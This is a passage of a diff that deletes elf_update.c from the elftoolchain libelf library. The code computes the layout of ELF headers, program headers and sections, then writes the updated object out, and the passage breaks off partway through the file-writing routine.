- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/param.h>
-#include <sys/stat.h>
-
-#include <assert.h>
-#include <errno.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "_libelf.h"
-
-#if	ELFTC_HAVE_MMAP
-#include <sys/mman.h>
-#endif
-
-ELFTC_VCSID("$Id: elf_update.c 2348 2011-12-19 02:22:45Z jkoshy $");
-
-/*
- * Layout strategy:
- *
- * - Case 1: ELF_F_LAYOUT is asserted
- *     In this case the application has full control over where the
- *     section header table, program header table, and section data
- *     will reside.   The library only perform error checks.
- *
- * - Case 2: ELF_F_LAYOUT is not asserted
- *
- *     The library will do the object layout using the following
- *     ordering:
- *     - The executable header is placed first, are required by the
- *     	 ELF specification.
- *     - The program header table is placed immediately following the
- *       executable header.
- *     - Section data, if any, is placed after the program header
- *       table, aligned appropriately.
- *     - The section header table, if needed, is placed last.
- *
- *     There are two sub-cases to be taken care of:
- *
- *     - Case 2a: e->e_cmd == ELF_C_READ or ELF_C_RDWR
- *
- *       In this sub-case, the underlying ELF object may already have
- *       content in it, which the application may have modified.  The
- *       library will retrieve content from the existing object as
- *       needed.
- *
- *     - Case 2b: e->e_cmd == ELF_C_WRITE
- *
- *       The ELF object is being created afresh in this sub-case;
- *       there is no pre-existing content in the underlying ELF
- *       object.
- */
-
-/*
- * The types of extents in an ELF object.
- */
-enum elf_extent {
-	ELF_EXTENT_EHDR,
-	ELF_EXTENT_PHDR,
-	ELF_EXTENT_SECTION,
-	ELF_EXTENT_SHDR
-};
-
-/*
- * A extent descriptor, used when laying out an ELF object.
- */
-struct _Elf_Extent {
-	SLIST_ENTRY(_Elf_Extent) ex_next;
-	uint64_t	ex_start; /* Start of the region. */
-	uint64_t	ex_size;  /* The size of the region. */
-	enum elf_extent	ex_type;  /* Type of region. */
-	void		*ex_desc; /* Associated descriptor. */
-};
-
-SLIST_HEAD(_Elf_Extent_List, _Elf_Extent);
-
-/*
- * Compute the extents of a section, by looking at the data
- * descriptors associated with it.  The function returns 1
- * if successful, or zero if an error was detected.
- */
-static int
-_libelf_compute_section_extents(Elf *e, Elf_Scn *s, off_t rc)
-{
-	int ec;
-	Elf_Data *d;
-	size_t fsz, msz;
-	uint32_t sh_type;
-	uint64_t d_align;
-	Elf32_Shdr *shdr32;
-	Elf64_Shdr *shdr64;
-	unsigned int elftype;
-	struct _Libelf_Data *ld;
-	uint64_t scn_size, scn_alignment;
-	uint64_t sh_align, sh_entsize, sh_offset, sh_size;
-
-	ec = e->e_class;
-
-	shdr32 = &s->s_shdr.s_shdr32;
-	shdr64 = &s->s_shdr.s_shdr64;
-	if (ec == ELFCLASS32) {
-		sh_type    = shdr32->sh_type;
-		sh_align   = (uint64_t) shdr32->sh_addralign;
-		sh_entsize = (uint64_t) shdr32->sh_entsize;
-		sh_offset  = (uint64_t) shdr32->sh_offset;
-		sh_size    = (uint64_t) shdr32->sh_size;
-	} else {
-		sh_type    = shdr64->sh_type;
-		sh_align   = shdr64->sh_addralign;
-		sh_entsize = shdr64->sh_entsize;
-		sh_offset  = shdr64->sh_offset;
-		sh_size    = shdr64->sh_size;
-	}
-
-	assert(sh_type != SHT_NULL && sh_type != SHT_NOBITS);
-
-	elftype = _libelf_xlate_shtype(sh_type);
-	if (elftype > ELF_T_LAST) {
-		LIBELF_SET_ERROR(SECTION, 0);
-		return (0);
-	}
-
-	if (sh_align == 0)
-		sh_align = _libelf_falign(elftype, ec);
-
-	/*
-	 * Compute the section's size and alignment using the data
-	 * descriptors associated with the section.
-	 */
-	if (STAILQ_EMPTY(&s->s_data)) {
-		/*
-		 * The section's content (if any) has not been read in
-		 * yet.  If section is not dirty marked dirty, we can
-		 * reuse the values in the 'sh_size' and 'sh_offset'
-		 * fields of the section header.
-		 */
-		if ((s->s_flags & ELF_F_DIRTY) == 0) {
-			/*
-			 * If the library is doing the layout, then we
-			 * compute the new start offset for the
-			 * section based on the current offset and the
-			 * section's alignment needs.
-			 *
-			 * If the application is doing the layout, we
-			 * can use the value in the 'sh_offset' field
-			 * in the section header directly.
-			 */
-			if (e->e_flags & ELF_F_LAYOUT)
-				goto updatedescriptor;
-			else
-				goto computeoffset;
-		}
-
-		/*
-		 * Otherwise, we need to bring in the section's data
-		 * from the underlying ELF object.
-		 */
-		if (e->e_cmd != ELF_C_WRITE && elf_getdata(s, NULL) == NULL)
-			return (0);
-	}
-
-	/*
-	 * Loop through the section's data descriptors.
-	 */
-	scn_size = 0L;
-	scn_alignment = 0;
-	STAILQ_FOREACH(ld, &s->s_data, d_next)  {
-
-		d = &ld->d_data;
-
-		/*
-		 * The data buffer's type is known.
-		 */
-		if (d->d_type >= ELF_T_NUM) {
-			LIBELF_SET_ERROR(DATA, 0);
-			return (0);
-		}
-
-		/*
-		 * The data buffer's version is supported.
-		 */
-		if (d->d_version != e->e_version) {
-			LIBELF_SET_ERROR(VERSION, 0);
-			return (0);
-		}
-
-		/*
-		 * The buffer's alignment is non-zero and a power of
-		 * two.
-		 */
-		if ((d_align = d->d_align) == 0 ||
-		    (d_align & (d_align - 1))) {
-			LIBELF_SET_ERROR(DATA, 0);
-			return (0);
-		}
-
-		/*
-		 * The buffer's size should be a multiple of the
-		 * memory size of the underlying type.
-		 */
-		msz = _libelf_msize(d->d_type, ec, e->e_version);
-		if (d->d_size % msz) {
-			LIBELF_SET_ERROR(DATA, 0);
-			return (0);
-		}
-
-		/*
-		 * If the application is controlling layout, then the
-		 * d_offset field should be compatible with the
-		 * buffer's specified alignment.
-		 */
-		if ((e->e_flags & ELF_F_LAYOUT) &&
-		    (d->d_off & (d_align - 1))) {
-			LIBELF_SET_ERROR(LAYOUT, 0);
-			return (0);
-		}
-
-		/*
-		 * Compute the section's size.
-		 */
-		if (e->e_flags & ELF_F_LAYOUT) {
-			if ((uint64_t) d->d_off + d->d_size > scn_size)
-				scn_size = d->d_off + d->d_size;
-		} else {
-			scn_size = roundup2(scn_size, d->d_align);
-			d->d_off = scn_size;
-			fsz = _libelf_fsize(d->d_type, ec, d->d_version,
-			    d->d_size / msz);
-			scn_size += fsz;
-		}
-
-		/*
-		 * The section's alignment is the maximum alignment
-		 * needed for its data buffers.
-		 */
-		if (d_align > scn_alignment)
-			scn_alignment = d_align;
-	}
-
-
-	/*
-	 * If the application is requesting full control over the
-	 * layout of the section, check the section's specified size,
-	 * offsets and alignment for sanity.
-	 */
-	if (e->e_flags & ELF_F_LAYOUT) {
-		if (scn_alignment > sh_align || sh_offset % sh_align ||
-		    sh_size < scn_size) {
-			LIBELF_SET_ERROR(LAYOUT, 0);
-			return (0);
-		}
-		goto updatedescriptor;
-	}
-
-	/*
-	 * Otherwise, compute the values in the section header.
-	 *
-	 * The section alignment is the maximum alignment for any of
-	 * its contained data descriptors.
-	 */
-	if (scn_alignment > sh_align)
-		sh_align = scn_alignment;
-
-	/*
-	 * If the section entry size is zero, try and fill in an
-	 * appropriate entry size.  Per the elf(5) manual page
-	 * sections without fixed-size entries should have their
-	 * 'sh_entsize' field set to zero.
-	 */
-	if (sh_entsize == 0 &&
-	    (sh_entsize = _libelf_fsize(elftype, ec, e->e_version,
-		(size_t) 1)) == 1)
-		sh_entsize = 0;
-
-	sh_size = scn_size;
-
-computeoffset:
-	/*
-	 * Compute the new offset for the section based on
-	 * the section's alignment needs.
-	 */
-	sh_offset = roundup(rc, sh_align);
-
-	/*
-	 * Update the section header.
-	 */
-	if (ec == ELFCLASS32) {
-		shdr32->sh_addralign = (uint32_t) sh_align;
-		shdr32->sh_entsize   = (uint32_t) sh_entsize;
-		shdr32->sh_offset    = (uint32_t) sh_offset;
-		shdr32->sh_size      = (uint32_t) sh_size;
-	} else {
-		shdr64->sh_addralign = sh_align;
-		shdr64->sh_entsize   = sh_entsize;
-		shdr64->sh_offset    = sh_offset;
-		shdr64->sh_size      = sh_size;
-	}
-
-updatedescriptor:
-	/*
-	 * Update the section descriptor.
-	 */
-	s->s_size = sh_size;
-	s->s_offset = sh_offset;
-
-	return (1);
-}
-
-/*
- * Free a list of extent descriptors.
- */
-
-static void
-_libelf_release_extents(struct _Elf_Extent_List *extents)
-{
-	struct _Elf_Extent *ex;
-
-	while ((ex = SLIST_FIRST(extents)) != NULL) {
-		SLIST_REMOVE_HEAD(extents, ex_next);
-		free(ex);
-	}
-}
-
-/*
- * Check if an extent 's' defined by [start..start+size) is free.
- * This routine assumes that the given extent list is sorted in order
- * of ascending extent offsets.
- */
-
-static int
-_libelf_extent_is_unused(struct _Elf_Extent_List *extents,
-    const uint64_t start, const uint64_t size, struct _Elf_Extent **prevt)
-{
-	uint64_t tmax, tmin;
-	struct _Elf_Extent *t, *pt;
-	const uint64_t smax = start + size;
-
-	/* First, look for overlaps with existing extents. */
-	pt = NULL;
-	SLIST_FOREACH(t, extents, ex_next) {
-		tmin = t->ex_start;
-		tmax = tmin + t->ex_size;
-
-		if (tmax <= start) {
-			/*
-			 * 't' lies entirely before 's': ...| t |...| s |...
-			 */
-			pt = t;
-			continue;
-		} else if (smax <= tmin) {
-			/*
-			 * 's' lies entirely before 't', and after 'pt':
-			 *      ...| pt |...| s |...| t |...
-			 */
-			assert(pt == NULL ||
-			    pt->ex_start + pt->ex_size <= start);
-			break;
-		} else
-			/* 's' and 't' overlap. */
-			return (0);
-	}
-
-	if (prevt)
-		*prevt = pt;
-	return (1);
-}
-
-/*
- * Insert an extent into the list of extents.
- */
-
-static int
-_libelf_insert_extent(struct _Elf_Extent_List *extents, int type,
-    uint64_t start, uint64_t size, void *desc)
-{
-	struct _Elf_Extent *ex, *prevt;
-
-	assert(type >= ELF_EXTENT_EHDR && type <= ELF_EXTENT_SHDR);
-
-	prevt = NULL;
-
-	/*
-	 * If the requested range overlaps with an existing extent,
-	 * signal an error.
-	 */
-	if (!_libelf_extent_is_unused(extents, start, size, &prevt)) {
-		LIBELF_SET_ERROR(LAYOUT, 0);
-		return (0);
-	}
-
-	/* Allocate and fill in a new extent descriptor. */
-	if ((ex = malloc(sizeof(struct _Elf_Extent))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, errno);
-		return (0);
-	}
-	ex->ex_start = start;
-	ex->ex_size = size;
-	ex->ex_desc = desc;
-	ex->ex_type = type;
-
-	/* Insert the region descriptor into the list. */
-	if (prevt)
-		SLIST_INSERT_AFTER(prevt, ex, ex_next);
-	else
-		SLIST_INSERT_HEAD(extents, ex, ex_next);
-	return (1);
-}
-
-/*
- * Recompute section layout.
- */
-
-static off_t
-_libelf_resync_sections(Elf *e, off_t rc, struct _Elf_Extent_List *extents)
-{
-	int ec;
-	Elf_Scn *s;
-	size_t sh_type;
-
-	ec = e->e_class;
-
-	/*
-	 * Make a pass through sections, computing the extent of each
-	 * section.
-	 */
-	STAILQ_FOREACH(s, &e->e_u.e_elf.e_scn, s_next) {
-		if (ec == ELFCLASS32)
-			sh_type = s->s_shdr.s_shdr32.sh_type;
-		else
-			sh_type = s->s_shdr.s_shdr64.sh_type;
-
-		if (sh_type == SHT_NOBITS || sh_type == SHT_NULL)
-			continue;
-
-		if (_libelf_compute_section_extents(e, s, rc) == 0)
-			return ((off_t) -1);
-
-		if (s->s_size == 0)
-			continue;
-
-		if (!_libelf_insert_extent(extents, ELF_EXTENT_SECTION,
-		    s->s_offset, s->s_size, s))
-			return ((off_t) -1);
-
-		if ((size_t) rc < s->s_offset + s->s_size)
-			rc = s->s_offset + s->s_size;
-	}
-
-	return (rc);
-}
-
-/*
- * Recompute the layout of the ELF object and update the internal data
- * structures associated with the ELF descriptor.
- *
- * Returns the size in bytes the ELF object would occupy in its file
- * representation.
- *
- * After a successful call to this function, the following structures
- * are updated:
- *
- * - The ELF header is updated.
- * - All extents in the ELF object are sorted in order of ascending
- *   addresses.  Sections have their section header table entries
- *   updated.  An error is signalled if an overlap was detected among
- *   extents.
- * - Data descriptors associated with sections are checked for valid
- *   types, offsets and alignment.
- *
- * After a resync_elf() successfully returns, the ELF descriptor is
- * ready for being handed over to _libelf_write_elf().
- */
-
-static off_t
-_libelf_resync_elf(Elf *e, struct _Elf_Extent_List *extents)
-{
-	int ec, eh_class, eh_type;
-	unsigned int eh_byteorder, eh_version;
-	size_t align, fsz;
-	size_t phnum, shnum;
-	off_t rc, phoff, shoff;
-	void *ehdr, *phdr;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-
-	rc = 0;
-
-	ec = e->e_class;
-
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	/*
-	 * Prepare the EHDR.
-	 */
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return ((off_t) -1);
-
-	eh32 = ehdr;
-	eh64 = ehdr;
-
-	if (ec == ELFCLASS32) {
-		eh_byteorder = eh32->e_ident[EI_DATA];
-		eh_class     = eh32->e_ident[EI_CLASS];
-		phoff        = (uint64_t) eh32->e_phoff;
-		shoff        = (uint64_t) eh32->e_shoff;
-		eh_type      = eh32->e_type;
-		eh_version   = eh32->e_version;
-	} else {
-		eh_byteorder = eh64->e_ident[EI_DATA];
-		eh_class     = eh64->e_ident[EI_CLASS];
-		phoff        = eh64->e_phoff;
-		shoff        = eh64->e_shoff;
-		eh_type      = eh64->e_type;
-		eh_version   = eh64->e_version;
-	}
-
-	if (eh_version == EV_NONE)
-		eh_version = EV_CURRENT;
-
-	if (eh_version != e->e_version) {	/* always EV_CURRENT */
-		LIBELF_SET_ERROR(VERSION, 0);
-		return ((off_t) -1);
-	}
-
-	if (eh_class != e->e_class) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return ((off_t) -1);
-	}
-
-	if (e->e_cmd != ELF_C_WRITE && eh_byteorder != e->e_byteorder) {
-		LIBELF_SET_ERROR(HEADER, 0);
-		return ((off_t) -1);
-	}
-
-	shnum = e->e_u.e_elf.e_nscn;
-	phnum = e->e_u.e_elf.e_nphdr;
-
-	e->e_byteorder = eh_byteorder;
-
-#define	INITIALIZE_EHDR(E,EC,V)	do {					\
-		(E)->e_ident[EI_MAG0] = ELFMAG0;			\
-		(E)->e_ident[EI_MAG1] = ELFMAG1;			\
-		(E)->e_ident[EI_MAG2] = ELFMAG2;			\
-		(E)->e_ident[EI_MAG3] = ELFMAG3;			\
-		(E)->e_ident[EI_CLASS] = (EC);				\
-		(E)->e_ident[EI_VERSION] = (V);				\
-		(E)->e_ehsize = _libelf_fsize(ELF_T_EHDR, (EC), (V),	\
-		    (size_t) 1);					\
-		(E)->e_phentsize = (phnum == 0) ? 0 : _libelf_fsize(	\
-		    ELF_T_PHDR, (EC), (V), (size_t) 1);			\
-		(E)->e_shentsize = _libelf_fsize(ELF_T_SHDR, (EC), (V),	\
-		    (size_t) 1);					\
-	} while (0)
-
-	if (ec == ELFCLASS32)
-		INITIALIZE_EHDR(eh32, ec, eh_version);
-	else
-		INITIALIZE_EHDR(eh64, ec, eh_version);
-
-	(void) elf_flagehdr(e, ELF_C_SET, ELF_F_DIRTY);
-
-	rc += _libelf_fsize(ELF_T_EHDR, ec, eh_version, (size_t) 1);
-
-	if (!_libelf_insert_extent(extents, ELF_EXTENT_EHDR, 0, rc, ehdr))
-		return ((off_t) -1);
-
-	/*
-	 * Compute the layout the program header table, if one is
-	 * present.  The program header table needs to be aligned to a
-	 * `natural' boundary.
-	 */
-	if (phnum) {
-		fsz = _libelf_fsize(ELF_T_PHDR, ec, eh_version, phnum);
-		align = _libelf_falign(ELF_T_PHDR, ec);
-
-		if (e->e_flags & ELF_F_LAYOUT) {
-			/*
-			 * Check offsets for sanity.
-			 */
-			if (rc > phoff) {
-				LIBELF_SET_ERROR(LAYOUT, 0);
-				return ((off_t) -1);
-			}
-
-			if (phoff % align) {
-				LIBELF_SET_ERROR(LAYOUT, 0);
-				return ((off_t) -1);
-			}
-
-		} else
-			phoff = roundup(rc, align);
-
-		rc = phoff + fsz;
-
-		phdr = _libelf_getphdr(e, ec);
-
-		if (!_libelf_insert_extent(extents, ELF_EXTENT_PHDR, phoff,
-			fsz, phdr))
-			return ((off_t) -1);
-	} else
-		phoff = 0;
-
-	/*
-	 * Compute the layout of the sections associated with the
-	 * file.
-	 */
-
-	if (e->e_cmd != ELF_C_WRITE &&
-	    (e->e_flags & LIBELF_F_SHDRS_LOADED) == 0 &&
-	    _libelf_load_section_headers(e, ehdr) == 0)
-		return ((off_t) -1);
-
-	if ((rc = _libelf_resync_sections(e, rc, extents)) < 0)
-		return ((off_t) -1);
-
-	/*
-	 * Compute the space taken up by the section header table, if
-	 * one is needed.
-	 *
-	 * If ELF_F_LAYOUT has been asserted, the application may have
-	 * placed the section header table in between existing
-	 * sections, so the net size of the file need not increase due
-	 * to the presence of the section header table.
-	 *
-	 * If the library is responsible for laying out the object,
-	 * the section header table is placed after section data.
-	 */
-	if (shnum) {
-		fsz = _libelf_fsize(ELF_T_SHDR, ec, eh_version, shnum);
-		align = _libelf_falign(ELF_T_SHDR, ec);
-
-		if (e->e_flags & ELF_F_LAYOUT) {
-			if (shoff % align) {
-				LIBELF_SET_ERROR(LAYOUT, 0);
-				return ((off_t) -1);
-			}
-		} else
-			shoff = roundup(rc, align);
-
-		if (shoff + fsz > (size_t) rc)
-			rc = shoff + fsz;
-
-		if (!_libelf_insert_extent(extents, ELF_EXTENT_SHDR, shoff,
-		    fsz, NULL))
-			return ((off_t) -1);
-	} else
-		shoff = 0;
-
-	/*
-	 * Set the fields of the Executable Header that could potentially use
-	 * extended numbering.
-	 */
-	_libelf_setphnum(e, ehdr, ec, phnum);
-	_libelf_setshnum(e, ehdr, ec, shnum);
-
-	/*
-	 * Update the `e_phoff' and `e_shoff' fields if the library is
-	 * doing the layout.
-	 */
-	if ((e->e_flags & ELF_F_LAYOUT) == 0) {
-		if (ec == ELFCLASS32) {
-			eh32->e_phoff = (uint32_t) phoff;
-			eh32->e_shoff = (uint32_t) shoff;
-		} else {
-			eh64->e_phoff = (uint64_t) phoff;
-			eh64->e_shoff = (uint64_t) shoff;
-		}
-	}
-
-	return (rc);
-}
-
-/*
- * Write out the contents of an ELF section.
- */
-
-static size_t
-_libelf_write_scn(Elf *e, char *nf, struct _Elf_Extent *ex)
-{
-	int ec;
-	Elf_Scn *s;
-	int elftype;
-	Elf_Data *d, dst;
-	uint32_t sh_type;
-	struct _Libelf_Data *ld;
-	uint64_t sh_off, sh_size;
-	size_t fsz, msz, nobjects, rc;
-
-	assert(ex->ex_type == ELF_EXTENT_SECTION);
-
-	s = ex->ex_desc;
-	rc = ex->ex_start;
-
-	if ((ec = e->e_class) == ELFCLASS32) {
-		sh_type = s->s_shdr.s_shdr32.sh_type;
-		sh_size = (uint64_t) s->s_shdr.s_shdr32.sh_size;
-	} else {
-		sh_type = s->s_shdr.s_shdr64.sh_type;
-		sh_size = s->s_shdr.s_shdr64.sh_size;
-	}
-
-	/*
-	 * Ignore sections that do not allocate space in the file.
-	 */
-	if (sh_type == SHT_NOBITS || sh_type == SHT_NULL || sh_size == 0)
-		return (rc);
-
-	elftype = _libelf_xlate_shtype(sh_type);
-	assert(elftype >= ELF_T_FIRST && elftype <= ELF_T_LAST);
-
-	sh_off = s->s_offset;
-	assert(sh_off % _libelf_falign(elftype, ec) == 0);
-
-	/*
-	 * If the section has a `rawdata' descriptor, and the section
-	 * contents have not been modified, use its contents directly.
-	 * The `s_rawoff' member contains the offset into the original
-	 * file, while `s_offset' contains its new location in the
-	 * destination.
-	 */
-
-	if (STAILQ_EMPTY(&s->s_data)) {
-
-		if ((d = elf_rawdata(s, NULL)) == NULL)
-			return ((off_t) -1);
-
-		STAILQ_FOREACH(ld, &s->s_rawdata, d_next) {
-
-			d = &ld->d_data;
-
-			if ((uint64_t) rc < sh_off + d->d_off)
-				(void) memset(nf + rc,
-				    LIBELF_PRIVATE(fillchar), sh_off +
-				    d->d_off - rc);
-			rc = sh_off + d->d_off;
-
-			assert(d->d_buf != NULL);
-			assert(d->d_type == ELF_T_BYTE);
-			assert(d->d_version == e->e_version);
-
-			(void) memcpy(nf + rc,
-			    e->e_rawfile + s->s_rawoff + d->d_off, d->d_size);
-
-			rc += d->d_size;
-		}
-
-		return (rc);
-	}
-
-	/*
-	 * Iterate over the set of data descriptors for this section.
-	 * The prior call to _libelf_resync_elf() would have setup the
-	 * descriptors for this step.
-	 */
-
-	dst.d_version = e->e_version;
-
-	STAILQ_FOREACH(ld, &s->s_data, d_next) {
-
-		d = &ld->d_data;
-
-		msz = _libelf_msize(d->d_type, ec, e->e_version);
-
-		if ((uint64_t) rc < sh_off + d->d_off)
-			(void) memset(nf + rc,
-			    LIBELF_PRIVATE(fillchar), sh_off + d->d_off - rc);
-
-		rc = sh_off + d->d_off;
-
-		assert(d->d_buf != NULL);
-		assert(d->d_version == e->e_version);
-		assert(d->d_size % msz == 0);
-
-		nobjects = d->d_size / msz;
-
-		fsz = _libelf_fsize(d->d_type, ec, e->e_version, nobjects);
-
-		dst.d_buf    = nf + rc;
-		dst.d_size   = fsz;
-
-		if (_libelf_xlate(&dst, d, e->e_byteorder, ec, ELF_TOFILE) ==
-		    NULL)
-			return ((off_t) -1);
-
-		rc += fsz;
-	}
-
-	return ((off_t) rc);
-}
-
-/*
- * Write out an ELF Executable Header.
- */
-
-static off_t
-_libelf_write_ehdr(Elf *e, char *nf, struct _Elf_Extent *ex)
-{
-	int ec;
-	void *ehdr;
-	size_t fsz, msz;
-	Elf_Data dst, src;
-
-	assert(ex->ex_type == ELF_EXTENT_EHDR);
-	assert(ex->ex_start == 0); /* Ehdr always comes first. */
-
-	ec = e->e_class;
-
-	ehdr = _libelf_ehdr(e, ec, 0);
-	assert(ehdr != NULL);
-
-	fsz = _libelf_fsize(ELF_T_EHDR, ec, e->e_version, (size_t) 1);
-	msz = _libelf_msize(ELF_T_EHDR, ec, e->e_version);
-
-	(void) memset(&dst, 0, sizeof(dst));
-	(void) memset(&src, 0, sizeof(src));
-
-	src.d_buf     = ehdr;
-	src.d_size    = msz;
-	src.d_type    = ELF_T_EHDR;
-	src.d_version = dst.d_version = e->e_version;
-
-	dst.d_buf     = nf;
-	dst.d_size    = fsz;
-
-	if (_libelf_xlate(&dst, &src, e->e_byteorder, ec, ELF_TOFILE) ==
-	    NULL)
-		return ((off_t) -1);
-
-	return ((off_t) fsz);
-}
-
-/*
- * Write out an ELF program header table.
- */
-
-static off_t
-_libelf_write_phdr(Elf *e, char *nf, struct _Elf_Extent *ex)
-{
-	int ec;
-	void *ehdr;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-	Elf_Data dst, src;
-	size_t fsz, phnum;
-	uint64_t phoff;
-
-	assert(ex->ex_type == ELF_EXTENT_PHDR);
-
-	ec = e->e_class;
-	ehdr = _libelf_ehdr(e, ec, 0);
-	phnum = e->e_u.e_elf.e_nphdr;
-
-	assert(phnum > 0);
-
-	if (ec == ELFCLASS32) {
-		eh32 = (Elf32_Ehdr *) ehdr;
-		phoff = (uint64_t) eh32->e_phoff;
-	} else {
-		eh64 = (Elf64_Ehdr *) ehdr;
-		phoff = eh64->e_phoff;
-	}
-
-	assert(phoff > 0);
-	assert(ex->ex_start == phoff);
-	assert(phoff % _libelf_falign(ELF_T_PHDR, ec) == 0);
-
-	(void) memset(&dst, 0, sizeof(dst));
-	(void) memset(&src, 0, sizeof(src));
-
-	fsz = _libelf_fsize(ELF_T_PHDR, ec, e->e_version, phnum);
-	assert(fsz > 0);
-
-	src.d_buf = _libelf_getphdr(e, ec);
-	src.d_version = dst.d_version = e->e_version;
-	src.d_type = ELF_T_PHDR;
-	src.d_size = phnum * _libelf_msize(ELF_T_PHDR, ec,
-	    e->e_version);
-
-	dst.d_size = fsz;
-	dst.d_buf = nf + ex->ex_start;
-
-	if (_libelf_xlate(&dst, &src, e->e_byteorder, ec, ELF_TOFILE) ==
-	    NULL)
-		return ((off_t) -1);
-
-	return (phoff + fsz);
-}
-
-/*
- * Write out an ELF section header table.
- */
-
-static off_t
-_libelf_write_shdr(Elf *e, char *nf, struct _Elf_Extent *ex)
-{
-	int ec;
-	void *ehdr;
-	Elf_Scn *scn;
-	uint64_t shoff;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-	size_t fsz, nscn;
-	Elf_Data dst, src;
-
-	assert(ex->ex_type == ELF_EXTENT_SHDR);
-
-	ec = e->e_class;
-	ehdr = _libelf_ehdr(e, ec, 0);
-	nscn = e->e_u.e_elf.e_nscn;
-
-	if (ec == ELFCLASS32) {
-		eh32 = (Elf32_Ehdr *) ehdr;
-		shoff = (uint64_t) eh32->e_shoff;
-	} else {
-		eh64 = (Elf64_Ehdr *) ehdr;
-		shoff = eh64->e_shoff;
-	}
-
-	assert(nscn > 0);
-	assert(shoff % _libelf_falign(ELF_T_SHDR, ec) == 0);
-	assert(ex->ex_start == shoff);
-
-	(void) memset(&dst, 0, sizeof(dst));
-	(void) memset(&src, 0, sizeof(src));
-
-	src.d_type = ELF_T_SHDR;
-	src.d_size = _libelf_msize(ELF_T_SHDR, ec, e->e_version);
-	src.d_version = dst.d_version = e->e_version;
-
-	fsz = _libelf_fsize(ELF_T_SHDR, ec, e->e_version, (size_t) 1);
-
-	STAILQ_FOREACH(scn, &e->e_u.e_elf.e_scn, s_next) {
-		if (ec == ELFCLASS32)
-			src.d_buf = &scn->s_shdr.s_shdr32;
-		else
-			src.d_buf = &scn->s_shdr.s_shdr64;
-
-		dst.d_size = fsz;
-		dst.d_buf = nf + ex->ex_start + scn->s_ndx * fsz;
-
-		if (_libelf_xlate(&dst, &src, e->e_byteorder, ec,
-		    ELF_TOFILE) == NULL)
-			return ((off_t) -1);
-	}
-
-	return (ex->ex_start + nscn * fsz);
-}
-
-/*
- * Write out the file image.
- *
- * The original file could have been mapped in with an ELF_C_RDWR
- * command and the application could have added new content or
- * re-arranged its sections before calling elf_update().  Consequently
- * its not safe to work `in place' on the original file.  So we
- * malloc() the required space for the updated ELF object and build
- * the object there and write it out to the underlying file at the
- * end.  Note that the application may have opened the underlying file
- * in ELF_C_RDWR and only retrieved/modified a few sections.  We take
- * care to avoid translating file sections unnecessarily.
- *
- * Gaps in the coverage of the file by the file's sections will be
- * filled with the fill character set by elf_fill(3).
- */
-
-static off_t
-_libelf_write_elf(Elf *e, off_t newsize, struct _Elf_Extent_List *extents)
-{
-	off_t nrc, rc;
-	char *newfile;
-	Elf_Scn *scn, *tscn;
-	struct _Elf_Extent *ex;
-
-	assert(e->e_kind == ELF_K_ELF);
-	assert(e->e_cmd == ELF_C_RDWR || e->e_cmd == ELF_C_WRITE);
-	assert(e->e_fd >= 0);
-
-	if ((newfile = malloc((size_t) newsize)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, errno);
-		return ((off_t) -1);
-	}
-
-	nrc = rc = 0;
-	SLIST_FOREACH(ex, extents, ex_next) {
-
-		/* Fill inter-extent gaps. */
-		if (ex->ex_start > (size_t) rc)
-			(void) memset(newfile + rc, LIBELF_PRIVATE(fillchar),
-			    ex->ex_start - rc);
-
-		switch (ex->ex_type) {
-		case ELF_EXTENT_EHDR:
-			if ((nrc = _libelf_write_ehdr(e, newfile, ex)) < 0)
-				goto error;
-			break;
-
-		case ELF_EXTENT_PHDR:
-			if ((nrc = _libelf_write_phdr(e, newfile, ex)) < 0)
-				goto error;
-			break;
-
-		case ELF_EXTENT_SECTION:
-			if ((nrc = _libelf_write_scn(e, newfile, ex)) < 0)
-				goto error;
-			break;
-
-		case ELF_EXTENT_SHDR:
-			if ((nrc = _libelf_write_shdr(e, newfile, ex)) < 0)
-				goto error;
-			break;
-
-		default:
-			assert(0);
-			break;
-		}
-
-		assert(ex->ex_start + ex->ex_size == (size_t) nrc);
-		assert(rc < nrc);
-
-		rc = nrc;
-	}
-
-	assert(rc == newsize);
-
-	/*
-	 * For regular files, throw away existing file content and
-	 * unmap any existing mappings.
-	 */
-	if ((e->e_flags & LIBELF_F_SPECIAL_FILE) == 0) {
-		if (ftruncate(e->e_fd, (off_t) 0) < 0 ||
-		    lseek(e->e_fd, (off_t) 0, SEEK_SET)) {
-			LIBELF_SET_ERROR(IO, errno);
-			goto error;
-		}
-#if	ELFTC_HAVE_MMAP
-		if (e->e_flags & LIBELF_F_RAWFILE_MMAP) {
-			assert(e->e_rawfile != NULL);
-			assert(e->e_cmd == ELF_C_RDWR);
-			if (munmap(e->e_rawfile, e->e_rawsize) < 0) {
-				LIBELF_SET_ERROR(IO, errno);
-				goto error;
-			}
-		}
-#endif
-	}
-
-	/*
-	 * Write out the new contents.
-	 */
-	if (write(e->e_fd, newfile, (size_t) newsize) != newsize) {
-		LIBELF_SET_ERROR(IO, errno);
-		goto error;
-	}
-
-	/*
-	 * For files opened in ELF_C_RDWR mode, set up the new 'raw'
-	 * contents.
-	 */
-	if (e->e_cmd == ELF_C_RDWR) {
-		assert(e->e_rawfile != NULL);
-		assert((e->e_flags & LIBELF_F_RAWFILE_MALLOC) ||
-		    (e->e_flags & LIBELF_F_RAWFILE_MMAP));
-		if (e->e_flags & LIBELF_F_RAWFILE_MALLOC) {
-			free(e->e_rawfile);
-			e->e_rawfile = newfile;
-			newfile = NULL;
-		}
-#if	ELFTC_HAVE_MMAP
-		else if (e->e_flags & LIBELF_F_RAWFILE_MMAP) {
-			if ((e->e_rawfile = mmap(NULL, (size_t) newsize,
